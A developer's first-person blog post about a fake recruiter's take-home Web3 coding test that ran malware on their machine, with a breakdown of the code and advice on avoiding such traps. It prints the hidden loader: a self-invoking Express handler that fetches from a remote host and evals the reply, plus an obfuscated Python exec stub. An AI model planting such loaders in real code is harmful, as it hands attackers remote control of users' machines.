I ran malicious code on my own machine — and didn’t realize it for a year

About a year ago, I was approached on LinkedIn by someone claiming to be a recruiter for a US-based company.

The company actually existed. The opportunity looked legitimate.
He told me they were looking for a Web3 developer to implement new blockchain features — nothing unusual.

At the time, I was already working with a client. Still, the position sounded interesting, so I decided to move forward.

He quickly proposed a take-home assignment:

Clone a repository, complete a small task, record your solution, and send it back.

Pretty standard.

A completely normal coding test… at first

The repository was hosted on Bitbucket and looked perfectly legitimate.

The task itself was simple: use ethers.js to fetch data from the Ethereum blockchain. With tools like Infura, this is straightforward — maybe even too straightforward.

I cloned the repo.
Installed the dependencies.
Started the server.

And then something strange happened.

The moment I should have stopped

A popup appeared, asking for my system password to install additional software.

That immediately felt wrong.

Why would a simple Node.js project require elevated privileges?

I instinctively refused.

But I didn’t stop there.

I kept working on the assignment, assuming it was just a misconfiguration or a weird dependency issue.

Looking back, that decision is uncomfortable.

Because even without granting admin access, I had already executed untrusted code on my machine.

I finished the test… and missed what mattered

I completed the assignment and sent a video of my solution.

But the recruiter never received it.

Shortly after, his LinkedIn account disappeared.

No explanation. No follow-up.

I tried contacting the platform but never got a response. Eventually, I just moved on.

One year later, I connected the dots

Recently, I received another message from someone claiming to be hiring a Web3 developer.

But this time, something was clearly off.

The second message asked for my preferred payment method — crypto, wire transfer, etc. — before even suggesting a call.

That was an immediate red flag.

I blocked the sender and started digging.

That’s when I realized this wasn’t an isolated incident.

A real attack pattern targeting developers

I found multiple reports describing the exact same scenario:

• Fake recruiters
• Real (or realistic) companies
• Take-home assignments hosted on Git repositories
• Malicious code hidden in otherwise legitimate-looking projects

Some of these campaigns have been linked to malware like BeaverTail, often associated with highly organized threat actors.

In several public reports, similar techniques have been attributed to North Korean groups targeting developers — especially in the Web3 ecosystem.

The idea is simple — and effective:

Get a developer to willingly clone and run your code.

What was actually happening behind the scenes

When I revisited the repository, I quickly realized I had missed critical red flags.

A hidden execution path

The project was a standard Express server with multiple controllers:

• auth
• blog
• brand
• category
• color
• product

Nothing unusual on the surface.

But inside the product controller, there was this:

const getCookie = asyncHandler(async (req, res, next) => {
    axios.get(`http://modilus.io/api/service/token/...`)
        .then(res => res.data)
        .catch(err => eval(err.response.data || "404"));
})();

Two major issues:

• The function is self-invoking → it runs as soon as the file is loaded
• It uses eval() on remote data

This allows arbitrary code execution from an external server.

At this point, this is no longer a coding test — it’s a remote execution mechanism.

Obfuscation and payload delivery

After running the project, I found a hidden file in my home directory:

.npl

It contained heavily obfuscated Python code:

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))
exec((_)(b'...'))

Classic pattern:

• reverse
• base64 decode
• decompress
• execute

In other words: hide the payload, then execute it silently.

What the payload was trying to do

After safely inspecting parts of the decoded payload, its behavior became clearer.

It:

• performs HTTP requests (requests)
• attempts to fetch additional remote payloads
• references a secondary path (.n2/pay)
• likely downloads and executes further components

Even without running it fully, this strongly suggests:

• staged malware delivery
• persistence mechanisms
• data exfiltration

In similar cases, targets include:

• browser cookies
• saved credentials
• SSH keys
• environment variables
• crypto wallets (MetaMask, etc.)

A partially blocked attack

Refusing the admin password likely prevented the next stage.

For example:

• no .n2 directory was created
• no additional payload seemed to be installed

But that doesn’t mean nothing happened.

The initial execution already occurred — and that alone is enough to consider the system compromised.

What probably limited the damage

Looking back, I got lucky.

• I refused the admin password prompt
• I don’t store sensitive credentials in my browser
• my sessions expire frequently
• I didn’t have significant funds in MetaMask

But let’s be clear:

Running untrusted code was already a risk.

The uncomfortable truth

For an entire year, I had no idea what had happened.

When I finally understood, I felt a bit ashamed.

I’m a senior developer with years of experience.
And yet, I still executed untrusted code in a context that felt legitimate.

All it takes is:

• one hidden script
• one obfuscated payload
• one moment of lowered vigilance

Why developers are easy targets

This attack works because it exploits our habits:

• we clone repositories all the time
• we trust package managers
• we run code quickly to “see what it does”
• we’re often under pressure during hiring processes

Developers are trained to run code. Attackers know that.

How to protect yourself

Simple rules I now follow:

• Never run untrusted code on your main machine
• Use a VM, container, or sandbox
• Inspect package.json (preinstall, postinstall, etc.)
• Be cautious with eval, base64, and obfuscation
• Never grant admin privileges blindly
• Verify recruiters independently

And most importantly:

If something feels off — stop immediately.

Final thoughts

As developers, our machines are our tools — and often our livelihood.

And yet, we sometimes lower our guard in the worst possible context:
a “legitimate” job opportunity.

So here’s a simple rule I now follow:

Treat unknown code like unknown binaries.

Because sometimes, that “simple coding test”
is anything but simple.

If this helps

If you’re currently job hunting — especially in Web3 or freelance platforms — stay vigilant.

And if this story helps even one developer avoid the same mistake, don't hesitate to share it.

Oh... And if you're actually looking for a Web3 developer…

I promise I’ll run your code — just maybe in a sandbox this time 😄